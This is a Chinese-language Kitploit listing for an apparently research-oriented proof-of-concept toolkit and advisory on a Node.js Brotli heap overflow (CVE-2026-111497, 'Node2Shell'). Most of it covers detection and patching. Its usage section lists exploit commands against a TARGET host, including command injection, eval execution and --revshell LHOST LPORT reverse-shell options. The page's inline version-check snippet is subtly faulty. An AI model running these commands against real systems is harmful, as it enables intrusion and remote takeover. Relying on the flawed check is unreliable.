Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-111497 — 针对 CVE-2026-111497(Node2Shell)的公告与概念验证工具包,该漏洞是 Node.js 中的 Brotli 堆溢出,包含触发脚本、版本检查器和修复指导。 | Kitploit
工具/GitHubGitHub/0xblackash/cve-2026-111497
防御工具漏洞扫描器Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育远程访问工具
GitHub0xblackash/cve-2026-111497

CVE-2026-111497

针对 CVE-2026-111497(Node2Shell)的公告与概念验证工具包,该漏洞是 Node.js 中的 Brotli 堆溢出,包含触发脚本、版本检查器和修复指导。

151天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

CVE-2026-111497 — Node2Shell

Gemini_Generated_Image_i7ii2oi7ii2oi7ii

CVE Badge CVSS Badge Component Badge CWE Badge License

CVE-2026-111497 综合安全公告、技术分析与修复指南

---

📋 目录

  • 执行摘要
  • 技术深入剖析
    • 根本原因分析
    • 攻击向量
    • 影响评估
  • 受影响版本与修复版本
  • 检测与审计
  • 修复与打补丁
    • 1. 原生运行时升级
    • 2. Docker / 容器层修复
  • 缓解策略
  • 参考资料与资源
  • 免责声明

📌 执行摘要

Node2Shell(CVE-2026-111497)于 2026 年 10 月披露,是一个严重的安全漏洞,影响直接捆绑在 Node.js 运行时二进制文件内部的原生 Brotli 解压缩组件。

该缺陷允许远程攻击者通过向任何处理压缩输入的 Node.js 应用程序(例如 HTTP 请求体解析器、原生 fetch() 调用或 WebSocket 流)提交特制的、畸形的 Brotli 压缩字节流,从而执行任意代码或使应用程序崩溃。

⚠️ 关键提示: 由于存在漏洞的代码位于编译进 Node.js 可执行文件本身的 deps/brotli 中,更新用户空间的 npm 依赖无法缓解此漏洞。必须更新 Node.js 二进制运行时。


⚙️ 技术深入剖析

根本原因分析

  • 缺陷类型: 越界写入(CWE-787),由未检查的返回值(CWE-252)导致。
  • 存在漏洞的组件: 集成到 Node.js 中的上游 Google Brotli 解码器模块(deps/brotli)。
  • 机制: 在解压缩畸形流时,解码器在流状态转换期间未能正确验证边界条件。这导致堆缓冲区在预分配内存空间之外被破坏。

攻击向量

  1. 入站 HTTP 请求: 配置了自动请求体解压缩(Content-Encoding: br)的框架和中间件(例如 Express、Fastify)。
  2. 出站 / 入站 Fetch API: 原生 fetch() 处理来自提供压缩内容的不可信第三方端点的自动响应。
  3. 内部流管道: 使用 zlib.createBrotliDecompress() 的自定义 Node.js 流。

影响评估

  • 拒绝服务(DoS): 可靠地触发段错误(SIGSEGV),导致工作进程立即崩溃。
  • 信息泄露: 不受控制的堆读取,暴露缓存在进程内存中的敏感令牌或环境变量。
  • 远程代码执行(RCE): 已证实的堆内存破坏,可在标准未修改的容器部署上完全控制进程执行流。

📊 受影响版本与修复版本

Node.js 发布线状态修复版本所需操作
Node.js 26.x⚠️ 存在漏洞>= 26.12.1立即升级
Node.js 24.x⚠️ 存在漏洞>= 24.22.1立即升级
Node.js 22.x (LTS)⚠️ 存在漏洞>= 22.23.4立即升级
Node.js 20.x 及更早版本❌ EOL无立即迁移至受支持的 LTS

🚨 EOL 警报: Node.js 20 已于 2026 年 4 月达到生命周期终止(EOL)。EOL 版本不提供官方安全回溯补丁。


安全检查脚本

当安全检查器正常工作时,你应当看到的确切输出如下。

1. 已修补 / 已修复的 Node.js(正常结果)

$ node node2shell-check.js
=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.

Current Node.js version : v24.22.1
Brotli constant present : yes (-17) → patched decoder

───────────────────────────────────────────────────────
Verdict: PATCHED
You are running a fixed release of the 24.x line.

Additional notes:
• The constant check is the most reliable signal when Node.js ships
  its own (statically linked) Brotli. On some Linux distros Node may
  use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1

2. 存在漏洞的 Node.js(错误结果)

$ node node2shell-check.js
=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.

Current Node.js version : v24.22.0
Brotli constant present : no / missing → likely vulnerable decoder

───────────────────────────────────────────────────────
Verdict: VULNERABLE
Upgrade to Node.js 24.22.1 or later in the 24.x line.

Additional notes:
• The constant check is the most reliable signal when Node.js ships
  its own (statically linked) Brotli. On some Linux distros Node may
  use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1

3. 生命周期终止版本(同样存在漏洞)

Current Node.js version : v20.18.0
Brotli constant present : no / missing → likely vulnerable decoder

Verdict: VULNERABLE (EOL / UNSUPPORTED)
This release line is end-of-life or never received the security fix.
Migrate to a supported LTS line (22.x, 24.x or 26.x) and use a patched version.

快速自行确认该常量

你也可以运行以下单行命令:

node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH ?? 'missing'"
  • 返回 -17 → 已修补
  • 返回 missing → 存在漏洞

这与脚本使用的检查相同。


实验环境搭建

# Python dependencies
pip install requests brotli

# Node server (webhook injection + eval paths)
npm install
node server-stock.js       # port 3000

用法

# Real CVE trigger — hang a Node.js HTTP server (Content-Encoding: br)
python3 Node2Shell.py -u http://TARGET:3000 --hang --path /api/data --timeout 10

# Webhook injection — command injection via execSync(hook) (stock server)
python3 Node2Shell.py -u http://TARGET:3000 --webhook --validate
python3 Node2Shell.py -u http://TARGET:3000 --webhook --cmd "id"
python3 Node2Shell.py -u http://TARGET:3000 --webhook --revshell LHOST LPORT

# OOB write stream — 13-byte COMMAND_BEGIN trigger + spray via streaming brotli
python Node2Shell.py -u http://TARGET:3000 --oob --path /api/data

# Direct eval mode (server with /api/exec eval sink)
python Node2Shell.py -u http://TARGET --validate
python Node2Shell.py -u http://TARGET --cmd "id"
python Node2Shell.py -u http://TARGET --revshell LHOST LPORT

🔍 检测与审计

要检查你的系统或正在运行的容器是否在执行存在漏洞的 Node.js 版本,请运行以下命令:

# Check installed local runtime version
node -v

# Audit running containers across a Kubernetes cluster / Docker environment
docker ps --format '{{.Names}}: {{.Image}}'

或者,在 Linux 环境中使用以下单行命令来测试你当前活跃的 Node 运行时是否安全:

node -e '
  const v = process.versions.node.split(".").map(Number);
  const safe = (v[0] === 22 && v[1] >= 23 && v[2] >= 4) ||
               (v[0] === 24 && v[1] >= 22 && v[2] >= 1) ||
               (v[0] >= 26 && v[1] >= 12 && v[2] >= 1);
  console.log(safe ? "✅ Runtime is PATCHED" : "❌ Runtime is VULNERABLE");
'

🛠️ 修复与补丁

1. 原生运行时升级

NVM(Node 版本管理器)

nvm install 22.23.4
nvm alias default 22.23.4
nvm use 22.23.4

Ubuntu / Debian(NodeSource)

sudo apt-get update
sudo apt-get install --only-upgrade nodejs

2. Docker / 容器层修复

更新你的 Dockerfile,显式拉取已修补的基础镜像标签:

# ❌ VULNERABLE
FROM node:22-alpine

# ✅ PATCHED
FROM node:22.23.4-alpine

清除本地容器构建缓存,以防止使用已缓存的易受攻击的基础层:

docker pull node:22.23.4-alpine
docker build --no-cache -t my-app:latest .

🛡️ 缓解策略

如果无法立即执行运行时升级:

  1. 在边缘禁用 Brotli 解压缩: 在 WAF 或反向代理层(例如 NGINX、Cloudflare)拦截传入流量,并在其到达 Node.js 后端之前剥离或拒绝 Content-Encoding: br 标头。
  2. 网络分段: 强制执行严格的出站防火墙规则,以限制远程代码执行(RCE)的潜在影响范围。
  3. 容器加固: 以非 root 用户(USER node)运行容器,并强制使用只读根文件系统(--read-only)。

🔗 参考资料与资源

  • Node.js 官方安全公告
  • 国家漏洞数据库(NVD)— CVE-2026-111497
  • 通用缺陷枚举 — CWE-787:越界写入

⚖️ 免责声明

本仓库及文档严格用于教育、研究和防御性安全审计目的。在对目标系统进行漏洞评估或安全测试之前,必须获得授权同意。

下载工具